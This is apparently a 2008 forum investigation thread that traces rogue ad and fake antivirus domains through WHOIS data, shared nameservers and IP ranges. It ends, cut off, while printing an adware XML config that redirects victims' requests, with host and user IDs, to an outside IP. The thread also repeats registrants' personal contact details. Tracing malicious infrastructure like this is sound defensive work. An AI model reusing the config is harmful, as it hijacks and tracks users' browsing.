Name Server:MANAGEDNS3.ESTBOXES.COM
Name Server:MANAGEDNS4.ESTBOXES.COM

domains sharing nameservers.

1vipstar.com
2007postcards.com
abalmasov.com
absolute-space.net
actualbandwidth.net
albanino.com
anetwork.net
anothercoolpoint.net
antispygolden.com
archhistory.net
auto-zapchasti.com
awmutils.com
beloni.net
best4all.net
blindsearch.net
bodyresearch.net
carding666.com
central-office.net
classicmotiontheory.net
classicphyschapter.net
coherentsource.net
compromat.net
dolanare.com
egi-service.com
electricalimput.net
estexpired.com
estparking.com
fafind.com
fastmediaservice.com
fetisches.com
for-movies.net
funzor.net
garybrolsma.net
gayshunks.com
goldcoders.com
googlerankigs.com
hiramaxthumbs.com
hirosh.net
hitvirus.com
htraf.com
i-wns.com
joindreams.com
kar-textiles.com
klikfeed.com
klikrevenue.com
kompromat.net
kytoon.com
laser-modules.net
loguestbook.ws
lost-civilizations.net
loventity.com
lowbandwidth.net
lowscaleworld.net
malwareburn.com
miyana.org
modernworldview.net
mp3-planet.net
mpagii.org
negativenumber.net
nelroyltd.com
newmediadriver.com
newtonrealtime.net
nfodb.com
nfodb.org
nude-art.net
ofigeno.net
onlineheavytheory.net
opticalassemblies.net
paydir.com
peacedata.biz
pentarh.com
photonsstream.net
procodec.com
prozvon.info
rape-tgp.net
resurrect.net
sanek.info
slizen.com
softservice.us
spycut.com
spyhazard.com
stinger911.net
sunnysex.net
surfermail.net
synchrotronsbasic.net
ultralightbeam.net
vacuum-energy.net
vanix.net
videoforsex.com
videohook.com
virusheal.com
virusranger.com
wellcams.biz
wellcams.com
wz-mail.net
xl2.net
xpldev.net
xxl-cash.com
yeahsearch.net
zloy.net
zolotonio.com
zxc.net.ua

(only showing 100 results)

adtds2.promoplexer.com - 217.20.175.74

Domain Name: PROMOPLEXER.COM
Registrar: ESTDOMAINS, INC.
Whois Server: whois.estdomains.com
Referral URL: http://www.estdomains.com
Name Server: NS1.VICI.UA
Name Server: NS2.VICI.UA
Status: ok
Updated Date: 04-jan-2008
Creation Date: 05-nov-2007
Expiration Date: 05-nov-2008

Registration Service Provided By: ESTDOMAINS INC
Contact: +1.3027224217
Website: http://www.estdomains.com

Domain Name: PROMOPLEXER.COM

Registrant:
PrivacyProtect.org
Domain Admin (contact@privacyprotect.org)
P.O. Box 97
All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676

Websites.

Macsweeper.com

hostnames sharing ip with a-records.

macsweeper.com
ns1.cleanator.com
ns1.macsweeper.com
www.macsweeper.com

hostnames beginning with adtds2.

adtds2.maxconvert.com

domains using this as nameserver.

cleanator.com
macsweeper.com

Promoplexer.com - 217.20.175.39

Server Type: Apache/2.0.55 (Ubuntu) PHP/5.1.6
IP Address: 217.20.175.39
IP Location - Kyyiv - Kiev - W Net Isp
Created: 2007-11-05
Expires: 2008-11-05
Whois Server: whois.estdomains.com

Registration Service Provided By: ESTDOMAINS INC
Contact: +1.3027224217

Domain Name: PROMOPLEXER.COM

Registrant:
PrivacyProtect.org
Domain Admin ()
P.O. Box 97
All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676

Creation Date: 05-Nov-2007
Expiration Date: 05-Nov-2008

Domain servers in listed order:
ns2.vici.ua
ns1.vici.ua

MX alt1.aspmx.l.google.com
64.233.167.27 gsmtp167.google.com
64.233.167.114 gsmtp167-2.google.com

MX alt2.aspmx.l.google.com
209.85.133.27 an-in-f27.google.com
209.85.133.114 an-in-f114.google.com

MX aspmx.l.google.com
66.249.93.27 gsmtp93.google.com
66.249.93.114 gsmtp93-2.google.com

Websites.

Maxconvert.com
Promoplexer.com

hostnames sharing ip with a-records.

maxconvert.com
usin-39.colo2.kv.wnet.ua

domains sharing mailservers.

27kb.se
27kilobyte.se
2friend.com
2hc.org
aanetwork.net
aaronfitz.info
abadox.biz
access9.net
adaeuro.com
admugio.com
akanea.com
alikadic.com
alisaglam.com
alpha-lab.net
altafandaltaf.com
annie-and-rob.com
applinet.com.ar
araos.cl
atleticano.com
backwardslogic.com
bertelson.us
bhtele.com
bigfang.com
bios-sport.com
black-panther.us
bodyextreme.com
bouallou.com
caeluspartners.com
cainelli.com.ar
calebchen.com
catalystic.net
cetin.org
chadcwaters.com
chaisong.com
chrisk.com
cintriq.com
cintron.org
claman.net
clsrock.com
codycrew.com
coimbatorian.com
complementar.net
consys.net
copteaser.com
corrientesaldia.com.ar
cowmoo.net
creamedhoney.com
cynicalgeeks.com
deathbylogic.com
decoma.com.au
dixonz.com
drbullock.com
droegemueller.net
durabull.co.uk
duran.org.ar
echiu.com
edgarfamily.net
ehven.com
elizabethsinteriors.com
elliott.uk.com
empathy.net
enhanceit.com.au
enthrone.net
etzich.net
evilcode.com
evylle.com
fazisse.com
fedro.com
feuer.ca
fought.net
fragzone.se
fremonianindustries.com
fupot.com
fz.se
galo.net
geenstijl.nl
globalconvergence.net
goldenidol.net
gsesoft.com
hackers.net.ua
hakaveret.co.il
halladaytrees.com
hanareha.com
hangglide.com.au
hassall.id.au
hireright.us
homiez.net
horstmeier.org
housingcounseling.net
ictoan.net
ifesgulf.com
immutable.org
inner-circle.org
iridia.nl
irken.net
jamclam.us
jclayconstruction.com
jeffsmall.com
joshua.net
juntera.com
justasisuspected.com
kathymike.com

(only showing 100 results)

domains sharing nameservers.

adsraise.com
clenator.com
kivvisoftware.com
maxconvert.com

subdomains.

*.promoplexer.com
adtds2.promoplexer.com

Kimberly

Mar 12 2008, 02:55 PM

As mentioned by Sandi, a couple of new banners have caught our eye. We notice a change in the URL’s of the redirects.

Before.

[domain]/statsa.php?u=[date/time stamp]&campaign=[campaign name]

Example:

quinquecahue.com/statsa.php?u=1200655836&campaign=pygmalioni

Now.

[domain]/c/index.php?id=[encrypted string]

Examples:

station-appraisals.com/c/index.php? id=WjM0VnExOHBjeDMza0dEUDdnUGRoPTEyMDI4MjE3MjYmcG56Y252dGE9dnFyYWd2c2xmYgYNkiDgN
mYNkiDgNm

staticglobalsources.net/c/index.php? id=m7NkiZnRhRDh6RVRudHpXm7NkiZHJsm7NkiZFUwVEloPTEyMDQwNDcyMzImcG56Y252dGE9bmV0aH
pyYWdim7NkiZQYNkiDgNmYNkiDgNm

Let's take the 2 lastcomers apart since they reveal some new domains.

station-appraisals.com/c/index.php? id=WjM0VnExOHBjeDMza0dEUDdnUGRoPTEyMDI4MjE3MjYmcG56Y252dGE9dnFyYWd2c2xmYgYNkiDgN
mYNkiDgNm
blessedads.com/?cmpid=identifyso
antivirusforall.com/?tmn=av5&gai=identifyso&gli=&3&mt_info=5586_5581_4577
staticglobalsources.net/c/index.php? id=m7NkiZnRhRDh6RVRudHpXm7NkiZHJsm7NkiZFUwVEloPTEyMDQwNDcyMzImcG56Y252dGE9bmV0aH
pyYWdim7NkiZQYNkiDgNmYNkiDgNm
waytotheprofit.com/?cmpid=argumentor

New domains.

station-appraisals.com
staticglobalsources.net
waytotheprofit.com

waytotheprofit.com - 76.74.249.30

It's very easy to link this domain to the other players. We notice that blessedads.com and prevedmarketing.com share the same IP with waytotheprofit.com. Colored in orange, domains which did share nameservers with newbieadguide.com (post #4 - Closest Relationships). As a matter of fact, all were hosted on 190.15.73.254 at that time except deuspayment.com.

Websites.

Ad2cash.net
Ad2profit.com
Adcomatoz.com
Adgurman.com
Adnetserver.com
Adredired.com
Adsolutio.com
Adverdaemon.com
Adverlounge.com
Adzyclon.com
Astalaprofit.com
B2adz.com
Bizadverts.com
Bizmarketads.com
Blessedads.com
Brandmarketads.com
Bucksbill.com
Deuspayment.com
Friedads.com
Glorymarkets.com
Iddqdmarketing.com
Intervarioclick.com
Invulnerableads.com
Luckyadcoin.com
Luckyadsols.com
Moneycometrue.com
Mythmarketing.com
Popadprovider.com
Prevedmarketing.com
Rocktheads.com
Sharpadverts.com
Shivanetworking.com
Waytotheprofit.com

Domain Name: WAYTOTHEPROFIT.COM
Registrar: COMMUNIGAL COMMUNICATIONS LTD
Whois Server: whois.communigal.net
Referral URL: http://www.galcomm.com
Name Server: NS1.WAYTOTHEPROFIT.COM
Name Server: NS2.WAYTOTHEPROFIT.COM
Status: ok
Updated Date: 03-mar-2008
Creation Date: 02-jul-2007
Expiration Date: 02-jul-2009

Domain : waytotheprofit.com

Registrant Contact Information :
Hostmaster Inc.
Schoolstraat 214
Wambeek, Wambeek 1741
no_name_inc(at)yahoo.com
BE

Admin Contact Information :
Donna V. Reed, Donna no_name_inc(at)yahoo.com
Schoolstraat 214
Wambeek, Wambeek 1741
no_name_inc(at)yahoo.com
BE
1-555-555-1234

Tech Contact Information :
Donna V. Reed, Donna no_name_inc(at)yahoo.com
Schoolstraat 214
Wambeek, Wambeek 1741
no_name_inc(at)yahoo.com
BE
1-555-555-1234

Billing Contact Information :
Contact is identical to Admin

Name Server: NS2.WAYTOTHEPROFIT.COM - 76.74.249.28
Name Server: NS1.WAYTOTHEPROFIT.COM - 76.74.249.29

hostnames sharing ip with a-records & domains sharing nameservers.

ad2profit.com
adgurman.com
adredired.com
adsolutio.com
astalaprofit.com
bizmarketads.com
brandmarketads.com
iddqdmarketing.com
intervarioclick.com
invulnerableads.com
luckyadcoin.com
luckyadsols.com
mythmarketing.com

subdomains.

*.waytotheprofit.com
mail.waytotheprofit.com
ns1.waytotheprofit.com
ns2.waytotheprofit.com

QUOTE

Queried whois.arin.net with "!NET-76-74-248-0-1"...

OrgName: ServerBeach
OrgID: SERVER-17
Address: 8500 Vicar Drive 8500, Suite 500
City: San Antonio
StateProv: TX
PostalCode: 78218
Country: US

NetRange: 76.74.248.0 - 76.74.255.255
CIDR: 76.74.248.0/21
NetName: PEER1-SERVERBEACH-08A
NetHandle: NET-76-74-248-0-1
Parent: NET-76-74-128-0-1
NetType: Reallocated
NameServer: NS1.SERVERBEACH.COM
NameServer: NS2.SERVERBEACH.COM
Comment:
RegDate: 2007-12-05
Updated: 2007-12-05

RTechHandle: HOSTM325-ARIN
RTechName: Hostmaster
RTechPhone: +1-210-225-4725
RTechEmail: hostmaster(at)serverbeach.com

OrgAbuseHandle: SNAE-ARIN
OrgAbuseName: Serverbeach Network AUP Enforcement
OrgAbusePhone: +1-604-484-2588
OrgAbuseEmail: abuse(at)serverbeach.com

OrgTechHandle: ZZ4092-ARIN
OrgTechName: ipadmin
OrgTechPhone: +1-210-225-4725
OrgTechEmail: ipadmin(at)serverbeach.com

# ARIN WHOIS database, last updated 2008-03-11 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

ServerBeach ....

station-appraisals.com - 81.93.56.86

Looking at the shared nameservers, it's easy to link station-appraisals.com to the other actors.

Domain Name: STATION-APPRAISALS.COM
Registrar: COMMUNIGAL COMMUNICATIONS LTD
Whois Server: whois.communigal.net
Referral URL: http://www.galcomm.com
Name Server: NS1.STATION-APPRAISALS.COM
Name Server: NS2.STATION-APPRAISALS.COM
Status: ok
Updated Date: 04-feb-2008
Creation Date: 01-feb-2008
Expiration Date: 01-feb-2009

Domain : station-appraisals.com

Registrant Contact Information :
Serg Moon
moon.serg(at)gmail.com
Krokus str.
Amsterdam
NL
NL
31 334558757

Admin Contact Information :
Contact is identical to Registrant

Tech Contact Information :
Contact is identical to Admin

Billing Contact Information :
Contact is identical to Admin

NS1.STATION-APPRAISALS.COM - 202.75.35.72
NS2.STATION-APPRAISALS.COM - 58.65.238.170

hostnames beginning with station-appraisals.

station-appraisals.net

domains sharing nameservers.

aboutstat.com
akamahi.net
entrerrenglonadura.com
newstat.net
officialstat.com
quinquecahue.com
stat-diagnostic-imaging.net
stathisranch.net
staticglobalsources.com
station-appraisals.net
statnation.net
thetechnorati.com
vozemiliogaranon.com

subdomains.

*.station-appraisals.com
ns1.station-appraisals.com
ns2.station-appraisals.com

station-appraisals.net - 81.93.56.87
ns1.station-appraisals.net - 202.75.35.72
ns2.station-appraisals.net - 58.65.238.170

staticglobalsources.net - 81.93.56.85

Domain Name: STATICGLOBALSOURCES.NET
Registrar: COMMUNIGAL COMMUNICATIONS LTD
Whois Server: whois.communigal.net
Referral URL: http://www.galcomm.com
Name Server: NS1.STATICGLOBALSOURCES.NET
Name Server: NS2.STATICGLOBALSOURCES.NET
Status: ok
Updated Date: 04-feb-2008
Creation Date: 01-feb-2008
Expiration Date: 01-feb-2009

Domain : staticglobalsources.net

Registrant Contact Information :
Serg Moon
moon.serg(at)gmail.com
Krokus str.
Amsterdam
NL
NL
31 334558757

Admin Contact Information :
Contact is identical to Registrant

Tech Contact Information :
Contact is identical to Admin

Billing Contact Information :
Contact is identical to Admin

Name Server: NS1.STATICGLOBALSOURCES.NET - 202.75.35.72
Name Server: NS2.STATICGLOBALSOURCES.NET - 58.65.238.170

hostnames beginning with staticglobalsources.

staticglobalsources.com

domains sharing nameservers

aboutstat.com
akamahi.net
entrerrenglonadura.com
newstat.net
officialstat.com
quinquecahue.com
stat-diagnostic-imaging.net
stathisranch.net
station-appraisals.com
station-appraisals.net
statnation.net
thetechnorati.com
vozemiliogaranon.com

subdomains.

*.staticglobalsources.net
ns1.staticglobalsources.net
ns2.staticglobalsources.net

staticglobalsources.com - 81.93.56.84
ns1.staticglobalsources.com - 202.75.35.72
ns1.staticglobalsources.com - 202.75.35.72

checking c-net 81.93.56.*

81.93.56.72 aboutstat.com A
81.93.56.74 newstat.net A
81.93.56.75 officialstat.com A
81.93.56.78 stat-diagnostic-imaging.net A
81.93.56.82 stathisranch.net A
81.93.56.84 staticglobalsources.com A
81.93.56.85 staticglobalsources.net A
81.93.56.86 station-appraisals.com A
81.93.56.87 station-appraisals.net A
81.93.56.88 statnation.net A
81.93.56.91 statsla.net A
81.93.56.98 mail.mailindustries.eu PTR A - mailindustries.eu A

Why am I not surprised that all those domains except 81.93.56.98 belong to Serg Moon?

DomainTools reveals us the following info :

"Serg Moon" owns about 19 other domains
moon.serg@gmail.com is associated with about 28 domains

Something I learned a long time ago .... "poke around" in the closest ranges.

checking c-net 81.93.55.*

One did catch my eye in that block because it's hosted on a nginx/0.4.13 server.

81.93.55.178 - statworld.net

Registrant Contact Information :
Serg Moon
moon.serg(at)gmail.com
Krokus str.
Amsterdam
NL
NL
31 334558757

81.93.55.176-81.93.55.183 NL-CUST-DENIT-ID-11372 Denit NL Customer with ID 11372

So I think it's safe to presume that all those IP's belong to Serg Moon also. They will have my full attention in the next days.

Denit Internet Services

% Information related to '81.93.48.0 - 81.93.63.255'

inetnum: 81.93.48.0 - 81.93.63.255
org: ORG-DIS2-RIPE
admin-c: DIT8723-RIPE
netname: NL-DENIT-20060508
descr: Denit Internet Services
country: NL
tech-c: DIT8723-RIPE
status: ALLOCATED PA
notify: ripe@denit.nl
mnt-by: RIPE-NCC-HM-MNT
mnt-lower: DENIT-IS-MNT
mnt-routes: DENIT-IS-MNT
changed: hostmaster@ripe.net 20060508
changed: bitbucket@ripe.net 20080125
source: RIPE

organisation: ORG-DIS2-RIPE
org-name: Denit Internet Services
org-type: LIR
address: Denit Internet Services B.V.
Contactweg 131
1014 BJ Amsterdam
NETHERLANDS
phone: +31 20 3372560
fax-no: +31 20 3371802
e-mail: ripe@denit.nl
admin-c: EVER1-RIPE
admin-c: SIMO-RIPE
mnt-ref: DENIT-IS-MNT
mnt-ref: RIPE-NCC-HM-MNT
mnt-by: RIPE-NCC-HM-MNT
changed: hostmaster@ripe.net 20040415
changed: bitbucket@ripe.net 20060502
changed: bitbucket@ripe.net 20060502
changed: bitbucket@ripe.net 20060502
changed: bitbucket@ripe.net 20060502
changed: bitbucket@ripe.net 20060508
changed: bitbucket@ripe.net 20070316
changed: bitbucket@ripe.net 20070813
changed: bitbucket@ripe.net 20080125
changed: bitbucket@ripe.net 20080125
source: RIPE

role: DenIT RIPE maintainer role
address: Denit Internet Services BV
address: Contactweg 131
address: 1014 BJ Amsterdam
address: The Netherlands
e-mail: ripe@denit.net
phone: +31 20 3371801
fax-no: +31 20 3371802
notify: ripe@denit.net
admin-c: SIMO-RIPE
tech-c: SIMO-RIPE
nic-hdl: DIT8723-RIPE
mnt-by: DENIT-IS-MNT
remarks: ------------------------------------------
remarks: Send abuse reports to: abuse@denit.net
remarks: Send security reports to: beheer@denit.net
remarks: All other mail to: info@denit.net
remarks: ------------------------------------------
changed: ripe@denit.net 20030103
changed: ripe@denit.net 20031007
source: RIPE

% Information related to '81.93.48.0/20AS25542'

route: 81.93.48.0/20
descr: Denit Networks
origin: AS25542
mnt-by: DENIT-IS-MNT
changed: jsimonetti@denit.net 20070525
source: RIPE
______________________________

Well, right now I need more time to check out all the information found today, fill out the gaps if possible and I still need to check a couple of IP ranges so I will post back if anything new shows up.

Kimberly

Mar 12 2008, 10:23 PM

Remember I started with this ...

81.93.56.72 aboutstat.com A
81.93.56.74 newstat.net A
81.93.56.75 officialstat.com A
81.93.56.78 stat-diagnostic-imaging.net A
81.93.56.82 stathisranch.net A
81.93.56.84 staticglobalsources.com A
81.93.56.85 staticglobalsources.net A
81.93.56.86 station-appraisals.com A
81.93.56.87 station-appraisals.net A
81.93.56.88 statnation.net A
81.93.56.91 statsla.net A

Reflex - If you see *.com & *.net mixed, look for their vise versa.

81.93.56.73 - aboutstat.net
81.93.56.76 - officialstat.net
81.93.56.77 - stat-diagnostic-imaging.com
81.93.56.81 - stathisranch.com

Doh, bad luck for newstat.com, statnation.com and statsla.com Mr. Moon, they are already taken.

Let's fix the IP block overview first ....

81.93.56.72 aboutstat.com
81.93.56.73 aboutstat.net
81.93.56.74 newstat.net
81.93.56.75 officialstat.com
81.93.56.76 officialstat.net
81.93.56.77 stat-diagnostic-imaging.com
81.93.56.78 stat-diagnostic-imaging.net
81.93.56.79 ?
81.93.56.80 ?
81.93.56.81 stathisranch.com
81.93.56.82 stathisranch.net
81.93.56.83 ?
81.93.56.84 staticglobalsources.com
81.93.56.85 staticglobalsources.net
81.93.56.86 station-appraisals.com
81.93.56.87 station-appraisals.net
81.93.56.88 statnation.net
81.93.56.89 ?
81.93.56.90 ?
81.93.56.91 statsla.net

5 IP's left, 5 gaps to fill.

Stay tuned ... it's not gonna take me long to digg up the remaining stuff if possible.

Kimberly

Mar 12 2008, 10:59 PM

Let's examine important info (outlined in red below).

Domain Name: STATION-APPRAISALS.COM
Registrar: COMMUNIGAL COMMUNICATIONS LTD
Whois Server: whois.communigal.net
Referral URL: http://www.galcomm.com
Name Server: NS1.STATION-APPRAISALS.COM
Name Server: NS2.STATION-APPRAISALS.COM
Status: ok
Updated Date: 04-feb-2008
Creation Date: 01-feb-2008
Expiration Date: 01-feb-2009

There were 25 new domains for COMMUNIGAL.NET on 02/01/2008

~~ABOUTSTAT.COM~~
~~ABOUTSTAT.NET~~
~~NEWSTAT.NET~~
NIMOONLINE.COM
NIMOONLINE.NET
NIMOREX.COM
NIMOREX.NET
~~OFFICIALSTAT.COM~~
~~OFFICIALSTAT.NET~~
~~STAT-DIAGNOSTIC-IMAGING.COM~~
~~STAT-DIAGNOSTIC-IMAGING.NET~~
STATETSTR.COM
STATGROUP.NET
~~STATHISRANCH.COM~~
~~STATHISRANCH.NET~~
STATHOME.NET
~~STATICGLOBALSOURCES.COM~~
~~STATICGLOBALSOURCES.NET~~
~~STATION-APPRAISALS.COM~~
~~STATION-APPRAISALS.NET~~
~~STATNATION.NET~~
STATSITE.NET
~~STATSLA.NET~~
STATUAS.NET
~~STATWORLD.NET~~

Which gives us the following additional domains beloging to Serge Moon.

81.93.56.79 statetstr.com
81.93.56.80 statgroup.net
81.93.56.83 stathome.net
81.93.56.88 statsite.net
81.93.56.92 statuas.net

Overview.

81.93.56.72 aboutstat.com
81.93.56.73 aboutstat.net
81.93.56.74 newstat.net
81.93.56.75 officialstat.com
81.93.56.76 officialstat.net
81.93.56.77 stat-diagnostic-imaging.com
81.93.56.78 stat-diagnostic-imaging.net
81.93.56.79 statetstr.com
81.93.56.80 statgroup.net
81.93.56.81 stathisranch.com
81.93.56.82 stathisranch.net
81.93.56.83 stathome.net
81.93.56.84 staticglobalsources.com
81.93.56.85 staticglobalsources.net
81.93.56.86 station-appraisals.com
81.93.56.87 station-appraisals.net
81.93.56.88 statnation.net
81.93.56.88 statsite.net
81.93.56.91 statsla.net
81.93.56.92 statuas.net
81.93.55.178 statworld.net

"Serg Moon" owns about 19 other domains....

Remaining.

81.93.56.89 ?
81.93.56.90 ?

To keep an eye on.

81.93.55.176
81.93.55.177
81.93.55.179
81.93.55.180
81.93.55.181
81.93.55.182
81.93.55.183

moon.serg@gmail.com is associated with about 28 domains....

Kimberly

Mar 14 2008, 07:08 PM

Ready for another journey in advert land ?

Yesterday evening Malekal_morte did ask me if I knew what was creating xml files on a victims computer. In meanwhile he grabbed a copy of an xml file. Kudos for doing that.

My curiosity immediately got picked after seeing the following:

CODE

luckyadsols.com shares the same IP as waytotheprofit.com, blessedads.com, prevedmarketing.com as seen earlier.
Other interesting elements present in the xml file are:

CAMPAIGN name=[name] id=[number] - there are 4 of them
83.149.105.113
91.184.6.104
pagead2\.googlesyndication\.com
ahahoo.com

Full code below, I just did scrable the encrypted IP. A screenshot is available here because the code is easier to follow.

CODE

- <ROOT>
- <CAMPAIGNLIST>
- <CAMPAIGN name="lsd-89" id="1224201">
- <actions>
- <action type="Request">
- <newvalue>
- <![CDATA[ GET /?t={HEADER(Host)}&aid={AID}&uid={UID}&guid={GUID} HTTP/1.1
  ]]>
  </newvalue>
  </action>
- <action type="AddRequestHeader">
- <newvalue>
- <![CDATA[ Host: 83.149.105.113:80
  ]]>
  </newvalue>
  </action>
  </actions>
- <rules>
- <rule type="UrlKeywords">
- <![CDATA[ ^(http://)?(www(\.))?[a-zA-Z0-9,\-,\,]*\.[a-zA-Z0-9,\-,\,]*/$
  ]]>
  </rule>
- <rule type="ServerCheck">
- <![CDATA[ http://83.149.105.113:80/?t={HEADER(Host)}&aid={AID}&uid={UID}&guid={GUID}
  ]]